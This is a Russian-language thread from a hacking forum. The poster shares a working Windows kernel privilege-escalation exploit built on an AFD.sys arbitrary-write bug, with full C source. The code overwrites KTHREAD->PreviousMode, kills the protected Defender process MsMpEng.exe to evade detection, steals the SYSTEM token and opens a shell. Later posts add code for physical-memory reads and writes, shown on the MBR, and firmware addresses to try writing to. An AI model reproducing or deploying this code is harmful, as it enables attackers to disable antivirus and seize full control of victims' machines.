• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Модифицированный 1-day эксплойт с PPL-киллером

Нужно ли писать статью по используемым техникам и выкладывать исходники?

  • Да, интересно

    Голосов: 16 100.0%
  • Нет, не интересно

    Голосов: 0 0.0%

  • Всего проголосовало
    16
  • Опрос закрыт .

varwar

El Diff
Забанен
Регистрация
12.11.2020
Сообщения
1 383
Решения
5
Реакции
1 537
Пожалуйста, обратите внимание, что пользователь заблокирован
В продолжение темы.

https://xss.pro/threads/83466/post-597083

Опрос организовал т.к. сейчас мало времени и поэтому буду исходить из интереса. Концепции, используемые в эксплойте могут быть полезны новичкам и не только. Видео в закрепе, к сожалению, напрямую в страницу не встраивается.

1681675188764.png
 

Вложения

  • poc.zip
    625.5 КБ · Просмотры: 47
зачем спрашиваешь, голосование не может быть объективным показателем, если есть желание и время, то пиши обязательно - те темы, что ты затрагиваешь, они уникальны, и за ними будущее, оценят единицы, а многие будут молчать и голосование просто тупо заигнорят... короче, мне твои посты интересны, так как времени у меня нет отслеживать данное направление, а ты как бы помогаешь быть в курсе происходящего в этом направлении...
 
Пожалуйста, обратите внимание, что пользователь заблокирован
зачем спрашиваешь, голосование не может быть объективным показателем, если есть желание и время, то пиши обязательно - те темы, что ты затрагиваешь, они уникальны, и за ними будущее, оценят единицы, а многие будут молчать и голосование просто тупо заигнорят... короче, мне твои посты интересны, так как времени у меня нет отслеживать данное направление, а ты как бы помогаешь быть в курсе происходящего в этом направлении...
Если хотя бы одному человеку будет интересно, то я напишу, базара 0.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Раз уж чертова дюжина проголосовала "За".

Те, кто решит сам поизучать изнанку уязвимости я рекомендую прочитать оригинальную статью [1], чтобы понимать о чем пойдет речь ниже.

Из оригинальной статьи вы могли понять, что уязвимость имеет ограниченный примитив на запись, т.е. мы можем записать 0x1 по любому адресу.
В оригинале для повышения привилегий используется примитив с использованием ioring-подсистемы. В приведенном мной PoC помимо прочего будет демонстрация убийства PPL-процесса из пользовательского режима.

Первоначально была определена следующая стратегия:
1. Отказаться от использования ioring.
2. Достичь произвольной записи через инкремент, который был мимоходом упомянут в статье, но нигде не демонстрировался.​
Почему использовался инкремент? Для моей задачи необходимо было записать 0x0. Два дня я потратил на то, чтобы найти способ, как записать 0 по произвольному адресу.
Не вышло. Далее на ум пришло целочисленное переполнение до 0x0, но это dword и мы упираемся в размер оперативной памяти и в общем-то время для спрея такого количества пакетов. Используя особенности расположения памяти, удалось перезаписать PreviousMode со значением 0x100, в действительности записав туда 0x0.​
3. Использовать инкремент для записи 0x0, что позволит построить другой примитив на чтение и запись, а также позволит убивать защищенные процессы PPL.

Всю логику эксплойта можно описать в следующих шагах:
1. Используя вызов NtQuerySystemInformation получить ядерные адреса всех объектов, которые будут использоваться в дальнейшем. Для этого был использован враппер из оригинальной статьи GetObjPtr.
2. Используя модифицированную функцию ArbitraryKernelWrite перезаписать поле объекта текущего потокаKTHREAD->PreviousMode, чтобы перехитрить ядро ОС.
3. Получить PID для PPL-процесса, а данном случае MsMpEng.exe с помощью функции GetPidByProcessName.
4. Получить ядерный хэндл для этого процесса по значению PID с помощью функции GetProcessHandleByPid.
5. Убить процесс MsMpEng.exe с помощью функции TerminateArbitraryProcess.
6. Создать таймаут перед выполнением полезной нагрузки.
7. Подменить токен непревилигированного процесса на токен системного процесса, повысив тем самым привилегии с помощью функции Write64, которая является оберткой над NtWriteVirtualMemory.
8. Восстановить исходное состояние потока, перезаписав KTHREAD->PreviousMode на UserMode, т.е. 0x1.

В целом это довольно стандартная DKOM-техника (Direct Kernel Object Manipulation), но с одним нюансом. В обычных условиях, имея даже привилегии SYSTEM мы не можем убить PPL-процесс, т.к. получим статус 0xC000022 (Access Denied) при открытии процесса. Измененный PreviousMode заставляет думать ОС, что мы выполняем код из контекста ядра и обрабатывает наши вызовы, как привилегированные. Справедливости ради, убитый процесс через какое-то время снова запускается и его уничтожение не перманентно. Можно попробовать приостановить процесс и понаблюдать как долго он будет находиться в этом состоянии (я не нашел тему, где один человек об этом мне говорил ранее). В любом случае это довольно интересное поведение системы.

После выхода новостей о том, что лазейку с PreviousMode закрыли (первое упоминание появилось в 2011 году), а чтение ядерных адресов объектов из Medium IL не будет доступно с версии 23H2 (должна выйти во второй половине 2023 года), становится немного грустно. Возможно, это было золотое время для ядерных эксплойтов.

Кстати, достичь инкремента мне помог ChatGPT, а именно он написал цикл с вызовом PostQueuedCompletionStatus, который сработал с первого раза, а также объяснил контекст работы, что было для меня сюрпризом. Продублирую для наглядности картинку с тем, как достигается повышение привилегий после убийства MsMpEng.exe.
primitive1.png


C:
#include "common.h"

//
// Link to the private ntdll library.
//
#pragma comment(lib, "ntdllp.lib")
#pragma warning(disable: "6011")

//
// Undocumented AFD structure
//
typedef struct __declspec(align(4))  AFD_NOTIFYSOCK_DATA
{
    HANDLE hCompletion;
    PVOID pData1;
    PVOID pData2;
    PVOID pPwnPtr;
    uint32_t dwCounter;
    uint32_t dwTimeout;
    uint32_t dwLen;
}AFD_NOTIFYSOCK_DATA;


uint32_t ArbitraryKernelWrite(_In_ uintptr_t* pPwnPtr, _In_ uint32_t nValueToWrite)
{
    int32_t Ret = -1;
    HANDLE hCompletion = INVALID_HANDLE_VALUE;
    IO_STATUS_BLOCK IoStatusBlock = { 0 };
    HANDLE hSocket = INVALID_HANDLE_VALUE;
    UNICODE_STRING ObjectFilePath = { 0 };
    OBJECT_ATTRIBUTES ObjectAttributes = { 0 };
    AFD_NOTIFYSOCK_DATA Data = { 0 };
    HANDLE hEvent = NULL;
    HANDLE hThread = NULL;

    //
    // Hard-coded attributes for an IPv4 TCP socket
    //
    uint8_t bExtendedAttributes[] =
    {
        0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x1E, 0x00, 0x41, 0x66, 0x64, 0x4F,
        0x70, 0x65, 0x6E, 0x50, 0x61, 0x63, 0x6B, 0x65, 0x74, 0x58, 0x58, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,
        0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x60, 0xEF, 0x3D, 0x47, 0xFE
    };

    //
    // Create and get the handle of IoCompletionObject
    //
    Ret = NtCreateIoCompletion(&hCompletion, MAXIMUM_ALLOWED, NULL, 1);

    if (Ret != NULL)
    {
        goto done;
    }
    //
    // Post arbitrary I/O completion packets to gain arbitrary write primitive
    //
    for (uint16_t nIoPckg = 0; nIoPckg < nValueToWrite; nIoPckg++)
    {
        uint32_t completionKey = nIoPckg;
        uint32_t bytesTransferred = nIoPckg * 2;
  
        //
        // I used it bacause of ChatGPT, but it's just a wrapper over the
        // NtSetIoCompletion
        //
        Ret = PostQueuedCompletionStatus(hCompletion, bytesTransferred, completionKey, NULL);

        if (Ret == NULL)
        {
            goto done;
        }
        printf("[!] Added item %02d to IO completion queue\r", nIoPckg);
    }

    RtlInitUnicodeString(&ObjectFilePath, L"\\Device\\Afd\\Endpoint");

    ObjectAttributes.Length = sizeof(ObjectAttributes);
    ObjectAttributes.ObjectName = &ObjectFilePath;
    ObjectAttributes.Attributes = 0x40;

    Ret = NtCreateFile(&hSocket, MAXIMUM_ALLOWED,
                       &ObjectAttributes,
                       &IoStatusBlock,
                       NULL,
                       0,
                       FILE_SHARE_READ | FILE_SHARE_WRITE,
                       1,
                       0,
                       bExtendedAttributes,
                       sizeof(bExtendedAttributes));

    if (Ret != NULL)
    {
        goto done;
    }
 
    //
    // Fill the user controlled data
    //
    Data.hCompletion = hCompletion;
    Data.pData1 = VirtualAlloc(NULL, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    Data.pData2 = VirtualAlloc(NULL, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    Data.dwCounter = 0x1;
    Data.dwLen = nValueToWrite;
    Data.dwTimeout = 100000000;
    Data.pPwnPtr = pPwnPtr;

    if ((Data.pData1 == NULL) || (Data.pData2 == NULL))
    {
        Ret = GetLastError();
        goto done;
    }

    hEvent = CreateEvent(NULL, 0, 0, NULL);
 
    if (hEvent == NULL)
    {
        Ret = GetLastError();
        goto done;
    }

    Ret = NtDeviceIoControlFile(hSocket, hEvent, NULL, NULL, &IoStatusBlock, AFD_NOTIFYSOCK_IOCTL, &Data, 0x30, NULL, 0);


done:
    if (hCompletion != INVALID_HANDLE_VALUE )
    {
        CloseHandle(hCompletion);
    }

    if (hSocket != INVALID_HANDLE_VALUE)
    {
        CloseHandle(hSocket);
    }

    if (hEvent != NULL)
    {
        CloseHandle(hEvent);
    }

    if (Data.pData1 != NULL)
    {
        VirtualFree(Data.pData1, 0, MEM_RELEASE);
    }

    if (Data.pData2 != NULL)
    {
        VirtualFree(Data.pData2, 0, MEM_RELEASE);
    }

    return Ret;
}


//
// Get the kernel object pointer for the specific process by it's handle
//
int32_t GetObjPtr(_Out_ PULONG64 ppObjAddr, _In_ ULONG ulPid, _In_ HANDLE handle)

{
    int32_t Ret = -1;
    PSYSTEM_HANDLE_INFORMATION pHandleInfo = 0;
    ULONG ulBytes = 0;
    NTSTATUS Status = 0;

    //
    // Handle heap allocations to overcome STATUS_INFO_LENGTH_MISMATCH
    //
    while ((Status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, pHandleInfo, ulBytes, &ulBytes)) == 0xC0000004L)
    {
        if (pHandleInfo != NULL)
        {
            pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pHandleInfo, (size_t)2 * ulBytes);
        }

        else
        {
            pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (size_t)2 * ulBytes);
        }
    }

    if (Status != NULL)
    {
        Ret = Status;
        goto done;
    }

    for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++)
    {
        if ((pHandleInfo->Handles[i].UniqueProcessId == ulPid) && (pHandleInfo->Handles[i].HandleValue == (unsigned short)handle))
        {
            *ppObjAddr = (unsigned long long)pHandleInfo->Handles[i].Object;
            Ret = 0;
            break;
        }
    }

    done:
    if (pHandleInfo != NULL)
    {
        HeapFree(GetProcessHeap, 0, pHandleInfo);
    }
    return Ret;
}

uint32_t GetPidByProcessName(_In_ const wchar_t *pTargetProc)
{
    uint32_t Pid = 0;
    PROCESSENTRY32W Entry = {0};
    HANDLE Snapshot = NULL;

    Pid = 0;
    Entry.dwSize = sizeof(PROCESSENTRY32W);
    Snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    if (Process32FirstW(Snapshot, &Entry))
    {
        while (Process32NextW(Snapshot, &Entry))
        {
            if (lstrcmpW(Entry.szExeFile, pTargetProc) == 0)
                {
                Pid = Entry.th32ProcessID;
                break;
            }
        }
    }

    printf("[+] %S PID is %d\n", pTargetProc, Pid);
    CloseHandle(Snapshot);
    return Pid;
}

HANDLE GetProcessHandleByPid(_In_ uint32_t Pid)
{
    OBJECT_ATTRIBUTES ObjectAttributes = { 0 };
    CLIENT_ID ClientId = { 0 };
    NTSTATUS Status = 0;
    HANDLE hMsMpEng = 0;

    ObjectAttributes.ObjectName = NULL;
    ObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES);
    //
    // Specifies that the handle can only be accessed in kernel mode. With
    // PreviousMode set to KernelMode we can use it to successfully terminate
    // the PPL process, otherwise we will get 0xC000022 (Access Denied) status
    // code.
    //
    ObjectAttributes.Attributes = OBJ_KERNEL_HANDLE;

    ClientId.UniqueProcess = UlongToHandle(Pid);
    ClientId.UniqueThread = NULL;

    Status = NtOpenProcess(&hMsMpEng, 0, &ObjectAttributes, &ClientId);
    if (!NT_SUCCESS(Status)) {
        printf("[-] NtOpenProcess failed with Status = %x\n", Status);
        return -1;
    }

    return hMsMpEng;
}

BOOL TerminateArbitraryProcess(_In_ HANDLE hProcess)
{
    if (!TerminateProcess(hProcess, 0)) {
        printf("[-] TerminateProcess failed\n");
        return FALSE;
    }
    return TRUE;
}

//
// A wrapper to make arbitrary writes to the whole system memory address space
//
NTSTATUS Write64(_In_ uintptr_t* Dst, _In_ uintptr_t* Src, _In_ size_t Size)
{
    NTSTATUS Status = 0;
    size_t cbNumOfBytesWrite = 0;

    Status = NtWriteVirtualMemory(GetCurrentProcess(), Dst, Src, Size, &cbNumOfBytesWrite);
    if (!NT_SUCCESS(Status)) {
        return -1;
    }
    return Status;
}

int main()
{
    //
    // Initialize kernel object to leak
    //
    uint64_t Sysproc = 0;
    uint64_t Currthread = 0;
    uint64_t Token = 0;
    uint64_t Currproc = 0;
 
    HANDLE hCurproc = 0;
    HANDLE hThread = 0;
    int32_t Ret = 0;
    uint32_t Pid = 0;
    HANDLE hProc = 0;

    //
    // Process name to kill
    //
    const wchar_t* Procname = L"MsMpEng.exe";

    //
    // Leak System _EPROCESS kernel address
    //
    Ret = GetObjPtr(&Sysproc, 4, 4);
    if (Ret != NULL)
    {
        return Ret;
    }
    printf("[+] System EPROCESS address: %llx\n", Sysproc);

    //
    // Leak Current _EPROCESS kernel address
    //
    hCurproc = OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId());
    if (hCurproc != NULL)
    {
        Ret = GetObjPtr(&Currproc, GetCurrentProcessId(), hCurproc);
        if (Ret != NULL)
        {
            goto done;
        }
        printf("[+] Current EPROCESS address: %llx\n", Currproc);
    }

    //
    // Leak Current _KTHREAD kernel address
    //
    hThread = OpenThread(THREAD_ALL_ACCESS, TRUE, GetCurrentThreadId());
    if (hThread != NULL)
    {
        Ret = GetObjPtr(&Currthread, GetCurrentProcessId(), hThread);
        if (Ret != NULL)
        {
            goto done;
        }
        printf("[+] Current KTHREAD address: %llx\n", Currthread);
    }
 
    //
    // Use arbitrary write to change KTHREAD-PreviousMode field to gain god mode
    // privileges :)
    //

    Ret = ArbitraryKernelWrite((char*)Currthread + KTHREAD_PREVIOUS_MODE_OFFSET, 0x100);
    if (Ret != NULL) {
        goto done;
    }
    printf("[+] KTHREAD->PreviousMode was set to KernelMode\n");
 
    //
    //  Get Pid, Handle and kill arbitrary process
    //
    Pid = GetPidByProcessName(Procname);
    hProc = GetProcessHandleByPid(Pid);
    TerminateArbitraryProcess(hProc);
 
    //
    // Sleep for 1 sec to make sure the AV service is terminated and not monitor
    // the next elevation payload.
    //
    Sleep(1000);

    printf("[!] Leveraging DKOM to achieve LPE\n");
    printf("[!] Calling Write64 wrapper to overwrite current EPROCESS->Token\n");
    Write64(Currproc + EPROCESS_TOKEN_OFFSET, Sysproc + EPROCESS_TOKEN_OFFSET, 0x8);

    //
    // Restore PreviousMode to UserMode
    //
    printf("[+] Restoring KTHREAD->PreviousMode to UserMode\n");
    Ret = ArbitraryKernelWrite((char*)Currthread + KTHREAD_PREVIOUS_MODE_OFFSET, UserMode);
    if (Ret != NULL) {
        goto done;
    }

    system("cmd.exe");

done:

    if (hCurproc != INVALID_HANDLE_VALUE)
    {
        CloseHandle(hCurproc);
    }

    if (hThread != INVALID_HANDLE_VALUE)
    {
        CloseHandle(hThread);
    }

    return 0;
}
C:
#pragma once
#include <stdio.h>
#include <stdint.h>
#include <Windows.h>
#include <windef.h>
#include <winternl.h>
#include <handleapi.h>
#include <tlhelp32.h>

#define AFD_NOTIFYSOCK_IOCTL 0x12127
#define EPROCESS_TOKEN_OFFSET 0x4b8
#define KTHREAD_PREVIOUS_MODE_OFFSET 0x232

enum _MODE
{
    KernelMode = 0,
    UserMode = 1
}

#define SystemHandleInformation 0x10
#define SystemHandleInformationSize 1024 * 1024 * 4

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
USHORT UniqueProcessId;
USHORT CreatorBackTraceIndex;
UCHAR ObjectTypeIndex;
UCHAR HandleAttributes;
USHORT HandleValue;
PVOID Object;
ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;

typedef struct _SYSTEM_HANDLE_INFORMATION
{
    ULONG NumberOfHandles;
    SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

Sources:
1. https://securityintelligence.com/po...ng-windows-ancillary-function-driver-winsock/
2. https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/previousmode
3. https://www[.]youtube.com/watch?v=nauAlHXrkIk
4. https://www.x86matthew.com/view_post?id=ntsockets
 
Последнее редактирование:
вчера тестил этот эксп, а вернее только ArbitraryKernelWrite0x1 (из оригинала), тест делал на 10.0.22000.XXX - эксп показал полную нестабильность... запускать нужно на целевой машине один раз и только один раз... тогда шанс на удачный исход очень высок.
как там на 11.0.22621.XXX я хз. не тестил, возможно обстоят дела лучше...
делаю вывод, что этот эксп нужно дорабатывать до стабильного состояния, и там по коду, если судить, то в этом есть значительный потенциал создать свой 0-day - имхо...
сейчас времени просто нет заниматься всем этим, но возможно потом отпишусь по этой теме... хотя и не обещаю...
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Ни одного краша в моих экспериментах не наблюдал. Даже не знаю, в чем там могут быть различия. Хотя бы код ошибки скинул или дамп, чтобы подкрепить свои слова.
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Еще одной интересной особенностью техники с использованием PreviousMode является то, что мы можем обратить этот примитив помимо чтения и записи во все виртуальное адресное пространство в чтение и запись физической памяти. В качестве PoC я взял чтение и запись физической страницы с MBR.

Код ниже - краткое описание интерфейсов.
C:
//
// A wrapper to get PhysicalMemory section object handle.
// Works only if PreviousMode set to KernelMode in the exploit chain.
//
HANDLE GetPhysicalSectionHandle()
{
    HANDLE SectionHandle = NULL;
    NTSTATUS Status = STATUS_SUCCESS;
    UNICODE_STRING SectionName;
    OBJECT_ATTRIBUTES ObjectAttributes = { 0 };

    RtlInitUnicodeString(&SectionName, L"\\Device\\PhysicalMemory");
    InitializeObjectAttributes( &ObjectAttributes,
                                &SectionName,
                                OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
                                NULL,
                                NULL);

    Status = NtOpenSection(&SectionHandle, SECTION_ALL_ACCESS, &ObjectAttributes);

    if (!NT_SUCCESS(Status))
    {
        printf("[-] NtOpenSection failed with Status = %x\n", Status);
        return INVALID_HANDLE_VALUE;
    }

    return SectionHandle;
}

//
// A wrapper to map a physical pages to the user address space.
// Works only if PrevousMode set to KernelMode in the exploit chain.
// Return a user pointer to the mapped view.
//
uintptr_t  *ArbitraryPhysicalAddrRead(_In_ HANDLE SectionHandle, _In_ HANDLE Process, _In_ LARGE_INTEGER PhysicalAddress, _In_ size_t ViewSize)
{
    NTSTATUS Status = STATUS_SUCCESS;
    PVOID BaseAddress = 0;
  
    Status = NtMapViewOfSection(
        SectionHandle,
        Process,
        &BaseAddress,
        0,
        ViewSize,
        &PhysicalAddress,
        &ViewSize,
        0x2, /* ViewUnmap */
        0,
        PAGE_READWRITE);

    if (!NT_SUCCESS(Status))
    {
        printf("[-] ArbitraryPhysicalAddrRead failed with Status = %x\n", Status);
        return NULL;
    }
  
    return BaseAddress;
}

//
// Works only if PreviousMode set to KernelMode in the exploit chain.
// Writes data to the buffer obtained by ArbitraryPhysicalAddrRead.
//
NTSTATUS ArbitraryPhysicalAddrWrite(_In_ HANDLE Process, _In_ uintptr_t *OutputBuffer, _In_ uintptr_t *InputBuffer, _In_ size_t InputBufferSize)
{
    NTSTATUS Status = STATUS_SUCCESS;

    memmove(OutputBuffer, InputBuffer, InputBufferSize);

    Status = NtUnmapViewOfSection(Process, OutputBuffer);

    if (!NT_SUCCESS(Status))
    {
        printf("[-] ArbitraryPhysicalAddrWrite failed with Status = %x\n", Status);
        return STATUS_UNSUCCESSFUL;
    }

    return STATUS_SUCCESS;
}

1686931947080.png


physicalrw.png


И все это из Medium IL.
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Закину еще интересную затравку. Если есть комп с прошивкой от AMI, то можно теоретически попробовать пописАть в эти адреса (это LowPart): 0xFA002F14, 0xFA002EE0, 0xFA002EE4, 0xFA002EF0, 0xFA002EFC, 0xFA002F08, 0xFA002EEC, 0xFA002EFC, 0xFA002F10.
Возможно, нужно еще выставлять максимальный приоритет в CR8 (изменять TPR регистр).
Посмотреть вложение 59240
Посмотреть вложение 59241

В драйверах есть фишка, что IDA местами некорректно отображает поля юнионов. Это как раз часто происходит с IO_STACK_LOCATION. В IRP_MJ_DEVICE_CONTROL обработчике тебе нужно исправить все поля для CurrentStackLocation. Например, наводишь мышку на LowPart, ПКМ -> Select union field. И начинаешь писать "DeviceIoControl". Подсветится нужное поле - выбираешь его, нажимаешь OK и проделываешь эту операцию для всех полей в этом обработчике аналогичным образом, получив истинную картину. Я хотел об этом написать в мануале, ну что уж теперь. В общем в твоем случае это будет IOCTL код, а не адрес. Там где много юнионов в структурах нужно быть аккуратным в декомпиле, иначе можно неверно интерпретировать.

1686963110054.png


1686963225539.png
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Обосрался опять. Спасибо, учту
Ну это неочевидная вещь, поэтому нормально.

чтение ядерных адресов объектов из Medium IL не будет доступно с версии 23H2
Обновился до 23H2 - все еще доступно чтение из Medium IL ¯\_(ツ)_/¯
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх